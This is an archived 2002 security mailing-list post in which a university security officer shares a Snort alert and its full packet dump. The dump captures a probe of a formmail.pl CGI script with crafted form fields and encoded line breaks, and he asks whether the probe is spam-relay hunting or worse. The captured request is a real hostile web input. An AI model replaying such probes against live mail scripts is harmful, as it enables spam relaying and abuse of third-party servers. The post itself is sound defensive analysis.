new type of formmail probes

From: Russell Fulton (r.fultonat_private)
Date: Wed Sep 04 2002 - 19:23:55 PDT

  • Next message: Garramone, Michael (CCI-Las Vegas): "RE: Any tcp/608 activity?"

    Hi All,
    	Over the last week or so snort has been picking up many probes like
    this:
    
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    
    [**] WEB-CGI formmail arbitrary command execution attempt [**]
    09/05-01:24:57.641599 0:0:C:46:5C:D1 -> 0:E0:1E:8E:31:71 type:0x800 len:0x30F
    62.49.117.114:2645 -> 130.216.35.105:80 TCP TTL:107 TOS:0x0 ID:20226 IpLen:20 DgmLen:769 DF
    ***AP*** Seq: 0x350A6D63  Ack: 0x5BFB5778  Win: 0x2238  TcpLen: 20
    50 4F 53 54 20 2F 63 67 69 2D 62 69 6E 2F 66 6F  POST /cgi-bin/fo
    72 6D 6D 61 69 6C 2E 70 6C 20 48 54 54 50 2F 31  rmmail.pl HTTP/1
    2E 30 0D 0A 56 69 61 3A 20 31 2E 30 20 53 45 52  .0..Via: 1.0 SER
    56 45 52 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A  VER..Connection:
    20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6E   Keep-Alive..Con
    74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 30 32  tent-Length: 402
    0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F  ..User-Agent: Mo
    7A 69 6C 6C 61 2F 34 2E 30 36 20 28 57 69 6E 39  zilla/4.06 (Win9
    35 3B 20 49 29 0D 0A 43 6F 6E 74 65 6E 74 2D 54  5; I)..Content-T
    79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E  ype: application
    2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C 65  /x-www-form-urle
    6E 63 6F 64 65 64 0D 0A 48 6F 73 74 3A 20 77 77  ncoded..Host: ww
    77 2E 63 73 2E 61 75 63 6B 6C 61 6E 64 2E 61 63  w.cs.auckland.ac
    2E 6E 7A 0D 0A 41 63 63 65 70 74 3A 20 69 6D 61  .nz..Accept: ima
    67 65 2F 67 69 66 2C 20 69 6D 61 67 65 2F 78 2D  ge/gif, image/x-
    78 62 69 74 6D 61 70 2C 20 69 6D 61 67 65 2F 6A  xbitmap, image/j
    70 65 67 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E  peg, application
    2F 6D 73 77 6F 72 64 2C 20 2A 2F 2A 0D 0A 52 65  /msword, */*..Re
    66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77  ferer: http://ww
    77 2E 63 73 2E 61 75 63 6B 6C 61 6E 64 2E 61 63  w.cs.auckland.ac
    2E 6E 7A 0D 0A 0D 0A 65 6D 61 69 6C 3D 64 61 61  .nz....email=daa
    31 38 40 66 64 6A 31 30 2E 63 6F 6D 26 72 65 63  18at_private&rec
    69 70 69 65 6E 74 3D 3C 69 69 6B 65 73 74 79 78  ipient=<iikestyx
    40 61 6F 6C 2E 63 6F 6D 3E 77 77 77 2E 63 73 2E  @aol.com>www.cs.
    61 75 63 6B 6C 61 6E 64 2E 61 63 2E 6E 7A 26 73  auckland.ac.nz&s
    75 62 6A 65 63 74 3D 77 77 77 2E 63 73 2E 61 75  ubject=www.cs.au
    63 6B 6C 61 6E 64 2E 61 63 2E 6E 7A 25 32 46 63  ckland.ac.nz%2Fc
    67 69 2D 62 69 6E 25 32 46 66 6F 72 6D 6D 61 69  gi-bin%2Fformmai
    6C 2E 70 6C 25 32 30 25 32 30 25 32 30 25 32 30  l.pl%20%20%20%20
    25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25  %20%20%20%20%20%
    32 30 25 32 30 25 32 30 25 32 30 25 32 30 6F 78  20%20%20%20%20ox
    79 35 32 26 3D 25 30 44 25 30 41 25 30 44 25 30  y52&=%0D%0A%0D%0
    41 74 69 6D 65 25 32 46 64 61 74 65 25 33 41 25  Atime%2Fdate%3A%
    32 30 30 38 25 33 41 32 30 25 33 41 31 39 70 6D  2008%3A20%3A19pm
    25 32 30 25 32 46 25 32 30 30 39 25 32 46 30 34  %20%2F%2009%2F04
    25 32 46 32 30 30 32 25 30 44 25 30 41 3C 41 25  %2F2002%0D%0A<A%
    32 30 48 52 45 46 25 33 44 25 32 32 77 77 77 2E  20HREF%3D%22www.
    63 73 2E 61 75 63 6B 6C 61 6E 64 2E 61 63 2E 6E  cs.auckland.ac.n
    7A 25 32 46 63 67 69 2D 62 69 6E 25 32 46 66 6F  z%2Fcgi-bin%2Ffo
    72 6D 6D 61 69 6C 2E 70 6C 25 32 32 3E 77 77 77  rmmail.pl%22>www
    2E 63 73 2E 61 75 63 6B 6C 61 6E 64 2E 61 63 2E  .cs.auckland.ac.
    6E 7A 25 32 46 63 67 69 2D 62 69 6E 25 32 46 66  nz%2Fcgi-bin%2Ff
    6F 72 6D 6D 61 69 6C 2E 70 6C 3C 25 32 46 41 3E  ormmail.pl<%2FA>
    25 30 44 25 30 41 25 30 44 25 30 41 25 30 44 25  %0D%0A%0D%0A%0D%
    30 41 25 30 44 25 30 41 25 30 44 25 30 41 25 30  0A%0D%0A%0D%0A%0
    44 25 30 41 6F 78 79 35 32                       D%0Aoxy52
    
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    
    Am I right in assuming that this just more spammers looking for places
    to launder mail or is it more sinister than that?  I.e. do we believe
    the 'arbitrary command execution attempt' bit?
    
    Cheers, Russell.
    
    -- 
    Russell Fulton, Computer and Network Security Officer
    The University of Auckland,  New Zealand
    
    "It aint necessarily so"  - Gershwin
    
    
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    This archive was generated by hypermail 2b30 : Thu Sep 05 2002 - 09:15:12 PDT